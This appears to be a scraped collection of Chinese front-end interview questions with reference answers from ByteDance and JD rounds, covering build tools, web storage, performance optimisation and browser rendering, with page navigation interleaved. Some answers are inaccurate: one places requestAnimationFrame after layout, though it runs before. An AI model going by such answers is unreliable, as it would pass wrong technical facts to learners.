题目要点

略

参考答案

略

2. 聊聊 vite 和 webpack 的区别

题库原题：聊聊 vite 和 webpack 的区别

题目要点

Webpack：成熟的模块打包工具，功能强大但配置复杂，适合需要高度定制和复杂构建需求的项目。
Vite：现代化的开发工具，提供快速的开发体验和优化的生产构建，适合追求开发效率和现代化特性的项目。

选择 Vite 还是 Webpack 取决于项目的需求和开发团队的偏好。如果重点是开发体验和快速反馈，Vite 是一个很好的选择。如果需要高度定制化和广泛的插件支持，Webpack 可能更适合。

参考答案

Vite 和 Webpack 都是前端打包工具，它们的作用类似，但实现方式和使用方法有所不同。以下是它们之间的一些区别：

构建速度：Vite 的构建速度比 Webpack 更快，因为 Vite 在开发环境下使用了浏览器原生的 ES 模块加载，而不是像 Webpack 一样使用打包后的文件进行模块加载。在 Vite 中，每个模块都可以独立地进行编译和缓存，这意味着它只需要重新编译修改过的模块，而不是整个应用程序。这使得 Vite 开发起来更加高效。
配置复杂度：Vite 的配置相对更简单，因为它无需进行大量的配置，只需指定一些基本的选项就可以开始开发。Webpack 的配置更加复杂，需要针对具体项目进行不同的配置，且需要理解各种插件、Loader 等概念。
生态环境：Webpack 的生态环境更加成熟，在社区中拥有广泛的支持和丰富的插件库。而 Vite 尚处于发展阶段，尽管其已经获得了很多关注，但其生态系统仍然不太完善。
功能特性：Webpack 是一个功能更加全面的打包工具，支持各种 Loader 和插件，可以处理多种类型的文件和资源。而 Vite 的设计初衷是专注于开发环境下的快速构建，因此其对一些高级特性的支持相对较少。

综上所述，Vite 更适合用于开发环境下的快速构建，而 Webpack 则更适合用于生产环境下的复杂应用程序的打包处理。选择使用哪种工具需要根据具体项目需求进行评估。

京东-物流-秋招 · 第 1 轮 · 第一轮

Sun, 27 Jul 2025 15:38:59 +0000

← 已是第一轮 · 返回本次面经 · 第 2 轮 →

参考答案

这两个都是HTML5提供的Web存储API，在项目中都有使用过。

最主要的区别是生命周期不同：sessionStorage只在当前浏览器标签页的会话期间有效，关闭标签页后数据就会被清除；而localStorage的数据会持久保存在用户设备上，除非主动删除或者达到存储限制。

作用域方面也不同，sessionStorage的数据只能在当前标签页内访问，不同标签页之间是隔离的；localStorage则可以在同一域名下的所有页面间共享数据。

在实际使用中，sessionStorage适合存储临时的会话相关数据，比如表单的临时保存；localStorage更适合存储用户偏好设置、购物车内容等需要跨会话保持的信息。

8. 除了它们的存储大小区别外，还有哪些不同？

题目要点

事件机制、安全特性、使用场景和数据共享能力等方面存在差异。

参考答案

除了生命周期差异，还有一些其他区别。数据共享机制上，localStorage支持storage事件，当其他页面修改localStorage数据时，当前页面可以监听到这个变化，这在多标签页应用中很有用；而sessionStorage不支持这种跨页面的事件通知。安全性方面，sessionStorage由于其会话特性，数据泄露的风险相对较小。在浏览器兼容性上，两者的支持程度基本一致，都是HTML5的特性。使用场景也有明显区别：sessionStorage常用于单页面应用的状态管理、表单数据的临时保存等；localStorage则用于用户设置、主题偏好、离线数据缓存等需要持久化的场景。在移动端开发中，还需要考虑存储空间限制和清理策略。

字节-社招-6年（3-1） · 第 1 轮 · 交叉面

Sun, 27 Jul 2025 12:21:05 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮共 3 道题。答案默认折叠，便于先自行作答。

1. 如何理解业务与技术的关系，如何将业务需求转化为技术方案

题目要点

解释业务与技术的相互依赖和促进关系
梳理需求理解到方案设计的完整流程
强调沟通、验证和持续优化的重要性
结合案例体现实际落地思路
警示脱节风险，体现系统思考

参考答案

考察点

● 理解业务与技术的相辅相成关系

● 掌握业务需求分析和技术方案设计流程

● 能将抽象业务目标拆解为具体技术实现路径

● 体现跨部门沟通和协作能力

参考答案

一、业务与技术的关系理解

相辅相成：业务是技术的驱动力，技术是业务落地的支撑。
业务需求为核心：技术方案应围绕业务目标服务，解决实际问题，促进业务增长。
技术赋能业务创新：通过技术提升效率、优化体验、开拓新业务模式。
动态迭代：业务变化带来技术调整，技术创新反哺业务拓展，形成良性循环。

二、将业务需求转化为技术方案的步骤

1. 需求理解与梳理

深入沟通，明确业务背景、目标及关键痛点。
梳理业务流程，明确输入输出及核心功能点。
识别非功能性需求，如性能、安全、可扩展性。

2. 方案调研与评估

研究现有技术栈及解决方案的适用性。
评估技术选型的可行性、成本、风险与团队能力。
结合业务优先级确定技术方案核心方向。

3. 技术方案设计

架构设计：整体技术架构、模块划分、接口设计。
技术细节：选用框架、数据库设计、接口协议、安全机制等。
性能与安全：设计性能优化点和安全防护方案。

4. 方案验证与沟通

原型或PoC验证方案可行性。
向业务团队和相关部门说明方案，获取反馈和支持。
根据反馈调整方案，确保与业务需求匹配。

5. 实施与持续优化

制定详细的开发计划和质量保障措施。
迭代交付，及时根据业务变化调整技术方案。
建立监控和反馈机制，确保方案持续满足业务目标。

三、实际案例示范

针对用户增长业务需求，设计可扩展的用户行为分析系统。
技术团队结合业务需求选用微服务架构，支持快速迭代和多渠道接入。
通过技术方案提升数据处理效率，助力业务决策精准化。

四、常见误区与面试陷阱

❌ 技术方案脱离业务需求，造成资源浪费和低效。
❌ 业务需求不明确，导致方案反复修改或失焦。
❌ 缺少跨团队沟通，信息孤岛影响方案落地。
❌ 忽视非功能性需求，如安全和性能，影响用户体验。

五、总结观点

业务和技术密不可分，技术方案的设计必须紧扣业务目标，基于深入理解的业务需求进行科学规划和实施。通过有效沟通与验证，确保技术方案既满足当前业务，又具备扩展能力，实现技术对业务的最大赋能。

字节-社招-6年（3-1） · 第 1 轮 · 三面&交叉面

Sun, 27 Jul 2025 12:18:23 +0000

← 第 1 轮 · 返回本次面经 · 第 1 轮 →

本轮共 12 道题。答案默认折叠，便于先自行作答。

1. 介绍一下主导的业务系统以及相关工作

题目要点

略

参考答案

略

2. 系统如何量化提升业务指标

题目要点

说明指标分类和目标设定方法
描述数据采集和监控流程
强调数据分析和问题洞察能力
介绍方案设计、执行及量化评估手段
提出技术与业务结合的具体措施

参考答案

考察点

● 理解业务指标的定义与分类

● 掌握数据采集、分析和量化的方法

● 熟悉目标设定、方案设计与效果评估流程

● 结合技术手段和产品思维推动业务增长

参考答案

一、业务指标的定义与分类

核心业务指标（KPI）：反映业务目标的关键数据，如用户留存率、转化率、活跃度等。
辅助指标：支持分析业务表现的相关数据，如页面加载速度、点击率、错误率。
指标分层：宏观指标（整体业务）+ 微观指标（细分功能或用户行为）。

二、量化提升业务指标的流程

1. 明确目标指标

根据公司战略和产品定位确定重点指标。
指标需具体、可衡量且可执行（SMART原则）。

2. 数据采集与监控

集成数据埋点和埋点管理工具（如 Google Analytics、自研埋点系统）。
监控关键路径数据，实时获取指标动态。

3. 数据分析与洞察

使用数据分析工具（如 SQL、BI平台）深入挖掘用户行为和业务趋势。
找出指标波动的原因，定位痛点和机会。

4. 方案设计与执行

结合业务和技术设计改进方案，如性能优化、功能迭代、用户体验提升。
制定具体执行计划，分阶段推动落地。

5. 量化评估与反馈

通过A/B测试等手段验证方案效果，避免主观判断。
持续监控指标变化，调整优化策略。

三、技术手段支持

前端性能优化：减少首屏加载时间，提高用户体验，促进留存和转化。
埋点与事件追踪：精准采集用户操作数据，支持业务决策。
监控与告警：及时发现业务异常，保证系统稳定性。
自动化测试和持续集成：保证新功能质量，降低回归风险。

四、案例示例

通过页面性能优化，将首屏时间从5秒降到1秒，用户跳出率下降20%。
利用细粒度埋点监控用户点击路径，发现某环节转化低，优化流程后转化率提升15%。
采用A/B测试验证新推荐算法效果，点击率提升10%。

五、常见误区与挑战

❌ 盲目追求指标数字增长，忽视用户体验和长期价值。
❌ 缺少科学的数据采集和分析，导致数据不准确。
❌ 忽视持续监控和迭代，方案实施后无后续跟进。
❌ 目标不明确或过于宽泛，难以量化和评估。

六、总结观点

系统性量化提升业务指标需要结合明确目标、科学数据采集与分析、合理方案设计、严谨效果评估和持续优化。技术与产品紧密配合，才能驱动业务稳定增长和用户价值提升。

字节-社招-6年（3-1） · 第 1 轮 · 二面

Sun, 27 Jul 2025 12:12:49 +0000

← 第 1 轮 · 返回本次面经 · 第 1 轮 →

本轮共 9 道题。答案默认折叠，便于先自行作答。

1. 讲一下D2C（Design to Code）这个项目

题目要点

阐述 D2C 的概念和目标
说明设计稿到代码的转换流程和关键技术
分析项目架构及技术栈组成
指出面临的挑战与解决方案
强调项目对团队效率和产品质量的提升价值

参考答案

考察点

● 理解 D2C 项目的定位及价值

● 掌握设计稿自动转化为代码的核心技术与流程

● 了解项目中遇到的技术挑战及解决方案

● 能阐述项目架构、自动化程度及实际应用场景

参考答案

一、项目背景与定义

D2C（Design to Code） 是一个致力于将设计稿（如 Figma、Sketch、Adobe XD）自动或半自动转换为前端代码（如 React、Vue、Flutter 等）的技术项目。
目的是大幅提升设计与开发的协作效率，缩短从设计到上线的周期，减少手工编码错误和重复劳动。

二、核心原理与技术流程

1. 设计稿解析

利用设计工具开放的 API 或导出格式（如 JSON、SVG、图层数据）提取设计元素信息。
包括图层结构、样式属性（颜色、字体、布局）、交互定义等。

2. 结构映射与组件识别

将设计图层结构映射为前端组件树，分析布局关系（如 Flexbox/Grid），抽象为对应的代码组件。
识别常用设计元素（按钮、输入框、列表等），映射成对应 UI 组件库元素，便于复用。

3. 代码生成

根据映射关系自动生成对应框架的代码（JSX、Vue SFC、Flutter Widget 等）。
自动写入样式代码（CSS-in-JS、Less、Sass），保证样式还原度。
支持动态交互事件和路由跳转逻辑的基本嵌入。

4. 优化与可维护性保障

生成代码结构清晰、易于阅读和二次开发。
支持设计稿变更自动更新代码，保障设计-开发同步。

三、项目架构与技术栈

前端：基于 React/Vue 实现可视化设计解析和代码展示。
后端：负责设计稿文件解析、复杂转换逻辑和代码模板管理。
辅助工具：利用 AST 解析和模板引擎生成高质量代码。
集成：支持与设计工具插件无缝对接，实现一键转码。

四、技术挑战及解决方案

1. 设计与代码结构差异

设计稿与前端布局模型（盒模型、Flex/Grid）存在差异，需智能转换布局方案。
通过规则引擎和机器学习辅助识别设计意图，提升转换准确率。

2. 样式还原与响应式支持

设计稿静态像素为主，需转换成动态响应式样式。
采用抽象布局单元、断点处理等方法，实现多端适配。

3. 动态交互与状态管理自动化

静态设计向动态代码过渡，自动注入事件处理和状态逻辑，增强可用性。

4. 性能与可维护性平衡

生成代码需避免臃肿冗余，保证性能和后续维护成本。
通过代码模板优化和分层设计解决。

五、项目应用场景与价值体现

提高开发效率：设计师和开发者快速交付，高效协作。
降低人力成本：减少重复手工编码，避免低级错误。
提升设计一致性：保持设计与实现的高度一致，减少偏差。
支持多平台快速迭代：针对 Web、移动端统一输出，便于多端覆盖。

六、常见误区及面试陷阱

❌ 认为 D2C 能完全替代人工编码，实际还需开发者做细节调整。
❌ 忽视设计工具多样性和格式兼容性带来的技术复杂度。
❌ 忽略代码生成后的维护和二次开发难度。
❌ 过度依赖自动化，导致生成代码性能或质量下降。

七、总结观点

D2C 项目是设计与开发深度融合的技术创新，通过自动解析设计稿并生成高质量前端代码，极大提升开发效率和设计一致性。该项目涉及设计解析、智能映射、代码生成和性能优化多个技术环节，虽存在一定技术挑战，但未来有广阔应用前景。

字节-社招-6年（3-1） · 第 1 轮 · 一面

Sun, 27 Jul 2025 12:05:14 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： react 渲染机制、react hooks、Webpack与Vite

本轮共 15 道题。答案默认折叠，便于先自行作答。

1. 请选择一个最有技术挑战的项目，说明你解决的核心问题、技术选型依据及后续优化空间

题目要点

STAR法则

参考答案

根据自己项目经历，提前挖掘亮点、准备项目

2. 作为前端负责人，在前端基础设施层做了哪些体系化建设

题目要点

从规范、工具链、组件库、监控和协作多维度展开
结合具体措施与实际效果进行阐述
展现管理、技术与团队文化的融合能力
体现对挑战的预判和解决方案

参考答案

考察点

● 考察候选人对前端基础设施的整体认知和架构设计能力

● 了解候选人在团队管理与技术规范制定上的实践经验

● 关注候选人如何通过基础设施提升团队开发效率和产品质量

● 体现对可维护性、可扩展性和技术创新的把控

参考答案

一、前端基础设施体系化建设的核心内容

1. 统一的技术规范与编码标准

制定并推广团队统一的代码规范（如 ESLint、Prettier 规则）
统一命名、目录结构、组件设计规范，确保代码可读性和维护性
定期组织代码评审，强化规范执行和技术交流

2. 构建和自动化工具链搭建

设计统一的构建流程，选用并维护基于 Webpack、Vite 等的构建工具
实现自动化构建、测试、打包、发布流程（CI/CD）
集成自动化测试框架（单元测试、集成测试、端到端测试）

3. 组件库与设计系统建设

搭建和维护通用组件库，提升复用率与一致性
结合设计系统规范，确保视觉与交互体验统一
推动组件库文档化、版本管理和持续迭代

4. 性能监控与质量保障体系

建立前端性能监控（如首屏时间、资源加载、交互响应）
引入错误收集与上报系统，实现线上问题快速定位
建立质量门禁（代码覆盖率、性能阈值、代码扫描）

5. 多端统一与跨团队协作支持

设计跨平台技术方案（Web、移动端、小程序）
制定接口规范和Mock数据方案，保障前后端高效协作
推动微前端或模块化方案，支持多团队并行开发

二、实施效果与价值体现

提升团队开发效率，减少重复工作和沟通成本
保证代码质量和产品稳定性，降低线上故障率
加速产品交付，缩短上线周期
促进团队技术能力成长，构建良好技术文化
支持业务快速扩展，适应多端多业务场景需求

三、可能遇到的挑战与应对策略

团队接受度和习惯调整：通过培训、逐步推行和示范项目降低阻力
工具链维护复杂性：设立专人负责基础设施维护和升级，保障稳定性
组件库与设计系统演进的平衡：定期收集反馈，兼顾灵活性与规范性
性能与稳定性监控数据的解读和应用：建立专门分析流程，结合业务需求制定优化方案

四、总结观点

作为前端负责人，基础设施层的体系化建设是提升团队整体效率和产品质量的关键。通过规范标准、自动化工具、组件库、监控体系及跨团队协作支持，构建稳定且高效的前端研发环境，为业务快速发展提供坚实技术保障。同时，注重团队文化和技术传承，推动持续改进和创新。

字节-抖音短视频-社招-5年 · 第 1 轮 · HR面

Sun, 27 Jul 2025 11:49:10 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮共 10 道题。答案默认折叠，便于先自行作答。

1. 为什么选择前端，你是怎么学前端的，自学前端觉得比较困难的点

题目要点

真实表达学习动机和行业认知
清晰描述学习路径与方法，体现自驱力
主动总结自学难点及解决方案，展示解决问题能力
表现对未来成长的规划和期待

参考答案

考察点

● 面试官希望了解候选人的学习动机和成长路径

● 关注候选人对前端行业的认知及自学能力

● 探索自学过程中的困难及解决方案，反映抗压和问题解决能力

参考答案

一、选择前端的原因

技术的即时反馈与可视化强：前端开发可以快速看到效果，工作成果直观，满足感强。
行业发展迅速，应用广泛：随着互联网和移动端普及，前端技术需求旺盛，职业前景广阔。
结合设计与开发的跨界魅力：前端融合设计、用户体验和工程实现，工作内容丰富多样。
学习曲线友好，入门门槛相对较低：相比后端复杂环境，前端技术栈更容易起步。

二、学习前端的路径与方法

基础知识打牢：从HTML、CSS、JavaScript开始，系统学习语言和浏览器原理。
项目驱动实践：通过小项目练习知识点，逐步积累实战经验。
系统化学习框架和工具：深入学习 Vue、React、Webpack 等主流框架和构建工具。
参与开源和社区：通过阅读源码、提问和答疑，加深理解和扩展视野。
持续跟进新技术：保持学习态度，关注生态变化和新兴技术趋势。

三、自学过程中的困难及应对

1. 知识点多且零散

前端涉及面广（浏览器机制、网络、安全、UI等），容易迷失方向。
解决方法：制定阶段性学习计划，系统化梳理知识体系。

2. 理论与实践脱节

单纯看文档和教程，缺少动手操作，难以消化。
解决方法：边学边做项目，遇到问题及时查阅和总结。

3. 框架与工具更新快

框架迭代频繁，工具链复杂，学习压力大。
解决方法：关注核心原理，不盲目追新，重点掌握主流稳定技术。

4. 调试与性能优化难度高

浏览器兼容、异步机制、性能调优等问题复杂。
解决方法：借助调试工具，多阅读源码和案例，积累经验。

字节-抖音短视频-社招-5年 · 第 1 轮 · 三面

Sun, 27 Jul 2025 11:46:08 +0000

← 第 1 轮 · 返回本次面经 · 第 1 轮 →

本轮共 10 道题。答案默认折叠，便于先自行作答。

1. 自我介绍（注意与一、二面的差异化）

题目要点

略

参考答案

略

2. 请重点介绍一个你主导或深度参与的技术项目（非业务需求），如何从0到1推动落地

题目要点

明确项目是“自主发起”，解决了实际“工程难题”
描述了“目标-方案-过程-成果”四个完整阶段
有实际的“技术亮点”可以展开讲解（如 monorepo、适配抽象、构建工具链）
表达出清晰的“主人翁意识”与技术领导力

参考答案

考察点

● 面试官希望了解候选人是否具备“技术主导力”或“技术项目 owner”思维

● 重点考察项目选题是否合理、推进过程是否专业、技术方案是否有深度

● 了解候选人在“从问题识别、调研方案、攻克难点、团队协作、成果评估”全过程中的角色与能力

参考答案

一、项目背景与问题识别

在我负责的公司前端平台中，随着业务的扩展，多个产品线逐渐发展出自己的前端应用，形成了大量重复代码、组件风格不一致、工程维护困难等问题。尤其是在多端部署（H5、微信小程序、企业微信等）场景下，重复建设、逻辑差异、样式割裂等问题尤为突出。

于是我提出建设一套前端基础能力平台化方案，目标是实现：

通用组件与工具库的沉淀与统一
多端适配与平台差异抽象
支持微前端/模块加载的架构演进

该项目在初期并非“业务需求”推动，而是从开发痛点中主动识别问题、提出技术方向并推动落地。

二、方案设计与关键落点

✅ 技术目标拆解

组件与样式平台化
- 设计统一的 UI 规范（基于现有设计稿抽象）
- 使用 monorepo + lerna 管理组件库
- 使用 Storybook + VitePress 建立文档与调试系统
工具函数抽离
- 构建 @common/utils 包，提供统一的日期处理、加密、验证、网络库封装等工具
- 用 TypeScript + 单元测试保障稳定性
构建通用模板/脚手架
- 抽象常用项目模板：H5、小程序、纯组件库
- 提供一键初始化、CI/CD 脚本、lint规范、GitHook 校验等预设
模块注册系统设计

字节-抖音短视频-社招-5年 · 第 1 轮 · 二面

Sun, 27 Jul 2025 10:01:22 +0000

← 第 1 轮 · 返回本次面经 · 第 1 轮 →

本轮要点： CSRF攻击、https、浏览器的同源策略、浏览器的缓存机制、盒子模型、全方位解读this、call、apply和bind

本轮共 23 道题。答案默认折叠，便于先自行作答。

1. 自我介绍与项目介绍

题目要点

略

参考答案

略

2. 你在项目中如何优化首屏加载时间

题目要点

清晰解释首屏加载构成和评估指标
梳理优化方向：资源优化、加载顺序、渲染提前
结合实际项目列举优化措施及效果
提醒常见误区，展示对细节的把控能力

参考答案

考察点

● 首屏加载性能优化的全链路能力

考察对加载过程、资源调度、渲染流程等多维度的理解与掌握。

● 实际优化手段的选型和落地能力

考察对首屏加载优化策略在项目中的实际应用和效果反馈。

参考答案

一、首屏加载时间的定义与构成

首屏加载时间指的是从用户发起访问请求到页面关键内容（尤其是首屏可视区域）可交互的时间。
它包括以下几个阶段：

DNS 解析、TCP/TLS 连接
HTML 下载与解析
CSS/JS 加载、阻塞与执行
首屏组件渲染、资源加载与图片显示
浏览器首次 Paint 与可交互（First Contentful Paint / TTI）

二、常见优化策略与实战举例

1. 资源加载优化

Gzip / Brotli 压缩：减少资源体积
使用 HTTP/2 / QUIC：提升多资源并发加载能力
开启 CDN 加速：靠近用户，提高请求速度
精简依赖包：如 tree-shaking、移除未用依赖（如 moment → dayjs）

2. 首屏关键资源优先加载

Critical CSS 提取与内联：减少 CSS 阻塞渲染
示例：使用 webpack 的 critical-css 插件提取首屏样式并内联到 HTML

预加载首屏图片和组件

<link rel="preload" href="/assets/banner.jpg" as="image">


* **合理使用 `async` / `defer` 加载 JS**：避免阻塞 HTML 解析

#### 3. **首屏代码最小化（关键代码提取）**

* **路由懒加载**：非首屏模块按需加载

 ```js
 const About = React.lazy(() => import('./About'));
 ```
* **组件级拆分（如 webpack 的 SplitChunks）**：减少主包体积
* **SSR / SSG / 静态渲染**：预渲染首屏内容，降低白屏时间

#### 4. **骨架屏 + 占位图**

* 使用骨架屏组件在主内容加载前展示占位 UI

 ```html
 <div class="skeleton-loader">...</div>
 ```
* 提高用户感知速度，避免白屏

#### 5. **缓存策略**

* 使用强缓存（Cache-Control）与协商缓存（ETag）
* 使用 Service Worker 做离线缓存，提升重复访问性能

#### 6. **图片优化**

* 使用 WebP、AVIF 等新格式
* 小图 base64 内嵌、大图懒加载
* 多倍图压缩（如用 tinypng 等工具）控制首屏图体积 <200KB

---

### 三、项目实战效果举例（性能指标前后对比）

| 优化项 | 优化前 | 优化后 |
| ------------ | ----- | ----- |
| 首屏加载时间（TTFB） | 1.8s | 0.9s |
| JS包大小 | 1.2MB | 450KB |
| 首屏渲染（FCP） | 3.5s | 1.2s |
| 可交互时间（TTI） | 5.2s | 1.9s |

---

### 四、常见误区与陷阱

* **盲目使用懒加载**：过度懒加载会导致首屏核心内容延迟
* **未合理拆分 vendor 包**：导致主包过大
* **骨架屏布局不一致或闪烁**：影响用户体验

---

### 五、总结

* 首屏优化是系统性工程，涵盖网络传输、资源管理、组件拆分、渲染路径等多环节。
* 应结合业务场景按阶段优化，配合 Lighthouse/Chrome DevTools 实时评估效果。
* 目标是压缩关键资源、减少阻塞、加快首屏渲染并保障体验一致性。

</details>

## 3. 如何识别首屏关键资源 {#question-subjective-9bbab0275c1b}

### 题目要点

* 明确首屏关键资源的定义与分类
* 能列出识别方法：Performance、Lighthouse、Network、Coverage
* 能结合项目给出识别+优化的实际策略
* 有资源优先级调度、渲染阻塞等知识支撑

<details>
<summary>参考答案</summary>

### 考察点

#### ● 识别影响首屏渲染的关键资源<br>
考察候选人对渲染链路和性能瓶颈的理解。

#### ● 熟悉浏览器加载机制与资源优先级调度<br>
考察对 Chrome DevTools、Performance 面板等性能工具的使用能力。

---

### 参考答案

### 一、首屏关键资源的定义

> **首屏关键资源**是指那些**必须在首屏渲染前加载完成**，否则会**阻塞页面首屏展示**的资源。常见类型包括：

- **HTML 入口文件**：解析整个页面结构的根文档
- **CSS 样式表**：CSS 是阻塞渲染的，必须加载后才能绘制页面
- **首屏 JS 脚本**：用于首屏交互或组件逻辑初始化的 JS（例如 React/Vue 渲染逻辑）
- **首屏图片**：Banner、大图等占据首屏核心位置的可见资源
- **字体文件（可选）**：若首屏需展示特殊字体（注意 FOUT 问题）

---

### 二、识别关键资源的方法

#### 1. 使用 Chrome DevTools → Performance 面板

1. 打开页面，F12 → Performance → 开始录制
2. 观察：
 - **Loading 阶段的资源瀑布图**（Network Timing）
 - **Longest Frame Before First Paint**
 - 标出首屏时间点前加载完成的资源，即为关键资源

#### 2. 使用 Chrome DevTools → Coverage 面板

- 识别“实际使用的 CSS/JS”
- 可以看出哪些资源在首屏期间被真正用到，哪些是冗余代码

#### 3. 使用 Lighthouse 报告

- Lighthouse 中的“Diagnostics”项会指出：
 - 阻塞渲染的资源（Render Blocking Resources）
 - Critical Request Chains
 - Unused JS/CSS 提示，帮助精简非关键资源

#### 4. 查看 Chrome DevTools → Network 面板排序

- 按时间排序，查看首屏渲染前加载的资源
- 关注 `Initiator` 列，了解加载来源（HTML、JS 引入、CSS @import）

---

### 三、首屏关键资源识别的原则

| 资源类型 | 是否为关键资源 | 原因说明 |
|--------------|----------------|-----------|
| `index.html` | ✅ | HTML 是渲染入口 |
| `main.css` | ✅ | 阻塞渲染，必须先加载 |
| `main.js` | ✅ | 驱动页面逻辑，渲染主视图 |
| 首页大图 | ✅ | 首屏可见，未加载即白屏 |
| lazy.js | ❌ | 延迟加载，非首屏资源 |
| 用户点击后加载的组件 | ❌ | 用户交互后才需要，不影响首屏 |

---

### 四、如何标记与优化首屏资源加载

#### ✅ 使用 `&lt;link rel="preload"&gt;` 预加载关键资源

```html
<link rel="preload" href="/styles/main.css" as="style">
<link rel="preload" href="/scripts/main.js" as="script">

✅ 合理设置优先级（优先样式、关键 JS）

样式应优先加载，JS 使用 defer 避免阻塞渲染
图片使用 priority 或手动 preload，避免首屏懒加载

✅ 拆分资源、按需加载，非关键资源延后

使用 webpack 拆包、code splitting
配合路由懒加载、图片懒加载，剥离非首屏资源

五、总结

首屏关键资源识别关键在于时机和影响：只看首屏时间前对渲染有影响的资源
工具使用（DevTools Performance / Coverage / Lighthouse）是识别的重要手段
识别后需通过优先加载、资源压缩、预加载、懒加载等手段进行优化

4. 具体通过哪些手段减少关键资源体积

题目要点

清晰分类 JS / CSS / 图片 / 字体 / HTML 各自的体积优化方式
能结合具体工具（Webpack、插件、工具链）给出实操方案
表达对“精简资源体积 = 提升性能体验”逻辑的理解
给出优化前后定量结果更有说服力

参考答案

考察点

● 资源优化能力（代码压缩、依赖精简、图片优化等）

考察候选人对性能优化的掌握是否落到实处。

字节-抖音短视频-社招-5年 · 第 1 轮 · 一面

Sun, 27 Jul 2025 09:47:52 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

参考答案

考察点

● 理解技术选型的核心因素及其权衡原则

考察对项目需求、团队能力与技术趋势的综合分析能力。

● 掌握技术选型中性能、开发效率、维护性等多维度考虑

考察系统架构设计和项目管理思维。

参考答案

一、技术选型的衡量维度

1. 业务需求匹配度

技术是否满足项目的功能需求、性能要求和扩展性。
是否支持项目特有的场景或复杂逻辑。

2. 团队技术栈和能力

团队是否熟悉该技术，学习成本及培训投入。
技术社区活跃度，文档完善程度，易用性。

3. 性能表现

技术的响应速度、负载能力、资源消耗。
是否支持性能优化方案（如 SSR、缓存策略等）。

4. 生态和兼容性

技术生态是否丰富，有无成熟的第三方库和工具支持。
与现有系统和平台的兼容性。

5. 维护成本与长期可持续性

技术的稳定性和升级频率。
社区支持和企业采用情况，避免技术孤岛。

6. 开发效率

开发周期和上线速度。
工具链和开发体验是否高效。

7. 安全性和合规性

技术在安全防护、隐私保护方面的能力。
是否满足行业合规标准。

二、技术选型的评估流程

需求调研：明确项目功能和非功能需求。
方案调研：收集备选技术方案及案例。
技术预研和验证：通过小型原型测试技术可行性。
成本评估：综合考量开发、维护、培训等成本。
风险分析：识别潜在风险，如社区活跃度、技术稳定性。
决策和方案确定：结合以上评估，选择最优技术方案。

三、总结

技术选型是一个多维度权衡过程，既要满足业务需求，也需考虑团队与生态。
注重长期维护和性能表现，避免盲目追新或仅凭个人偏好。
通过科学的评估流程和数据支撑，做出理性选择。

4. 项目中的性能监控和错误上报讲一下

题目要点

列举关键性能指标及监控方法
说明错误类型、捕获机制和上报流程
强调数据分析与持续优化的重要性
结合实际项目实践进行阐述

参考答案

考察点

● 理解前端性能监控的关键指标和监控手段

考察对用户体验优化和实时监控的认知。

字节-商业化-社招-4年 · 第 1 轮 · 二面

Sun, 27 Jul 2025 09:29:18 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

参考答案

考察点

● 理解浏览器渲染的全流程

考察从用户输入到最终视觉呈现的各个环节。

● 掌握事件处理、样式计算、布局、绘制和合成机制

考察对浏览器渲染流水线各阶段的深入理解。

● 理解性能瓶颈和优化点

参考答案

一、浏览器绘制一帧的整体流程概览

从用户输入事件触发，到最终屏幕显示，浏览器大致执行以下步骤：

事件处理（Input Handling）
JavaScript 执行（JS Execution）
样式计算（Style Recalculation）
布局计算（Layout / Reflow）
绘制（Painting）
合成（Compositing）
像素呈现（Rasterization & Display）

二、详细流程解析

1. 用户输入事件处理

浏览器捕获用户的输入事件（如点击、滚动、键盘等），将事件放入事件队列。
主线程从事件队列中取出事件，执行对应的事件处理程序（如回调函数）。

2. JavaScript 执行

事件处理回调可能修改 DOM 或样式。
JavaScript 运行在浏览器主线程，操作 DOM 会影响后续渲染。

3. 样式计算（Style Recalculation）

浏览器根据最新的 DOM 结构和 CSS 规则，计算每个元素的最终样式。
可能触发样式树（style tree）的重建或更新。

4. 布局计算（Layout / Reflow）

计算元素的几何信息（大小、位置等），生成布局树（layout tree）。
重新计算会影响元素相对或绝对位置。
这是性能较昂贵的过程，尤其是节点多或频繁触发。

5. 绘制（Painting）

将布局树转换为绘制指令（绘制图层的内容），如颜色、文字、边框等。
生成绘制层（paint layers），具体绘制到图层画布（layer canvas）。

6. 合成（Compositing）

多个绘制层按照层级关系组合（合成）成最终页面。
使用 GPU 加速合成，将图层合并为一张完整的图像。
合成阶段可以通过硬件加速提升性能，避免全部重绘。

7. 像素呈现（Rasterization & Display）

将合成后的图像转换成屏幕像素。
GPU 或显示设备将最终像素渲染到屏幕，完成一帧的视觉呈现。

三、流程图示意


用户输入 → 事件处理 → JS 执行 → 样式计算 → 布局 → 绘制 → 合成 → 屏幕显示

四、优化与注意点

避免频繁触发布局和绘制，减少重排和重绘次数。
使用 CSS3 硬件加速属性（transform、opacity）优化合成性能。
将复杂动画放入合成层，减少主线程压力。
合理分层减少合成开销，避免过度分层。
减少 JavaScript 执行时间，避免阻塞主线程。

9. 追问：requestAnimationFrame（RAF）在哪个阶段执行？为什么它比setTimeout更适合动画

题目要点

明确 RAF 在浏览器渲染流程中“绘制前”执行。
解释 RAF 与浏览器刷新同步，自动节流的机制。
对比 setTimeout，突出 RAF 动画性能和体验优势。
强调实际开发中推荐使用 RAF 实现动画更新。

参考答案

一、requestAnimationFrame 执行阶段

requestAnimationFrame 回调函数执行时机：
RAF 的回调函数会在浏览器开始下一次渲染帧之前执行，即在 浏览器渲染管线中的“绘制（Painting）”之前或合成前的空隙期。
具体来说，RAF 的回调是在浏览器完成一帧的布局（Layout）和样式计算（Style Recalculation）之后，紧接着准备绘制和合成之前触发，保证动画逻辑与渲染同步。

二、为什么 RAF 比 setTimeout 更适合动画

1. 与浏览器刷新频率同步

RAF 会按照屏幕刷新频率（通常是 60fps，即约 16.7ms 一帧）自动调用回调，保证动画平滑且不卡顿。
setTimeout 不与渲染同步，回调可能在任意时刻执行，导致动画帧率不稳定甚至丢帧。

2. 自动节流和性能优化

浏览器在后台标签页会自动暂停 RAF 调用，节省资源；而 setTimeout 仍然会尝试执行，浪费性能。
RAF 允许浏览器合并多次绘制请求，提升性能。

3. 减少视觉撕裂

由于 RAF 在绘制之前触发，能保证动画状态在绘制前更新，减少视觉撕裂和跳帧现象。
setTimeout 可能导致更新与渲染不同步，画面不连贯。

三、总结

特点	requestAnimationFrame	setTimeout
执行时机	渲染帧开始前（绘制前）	指定时间后，非渲染同步
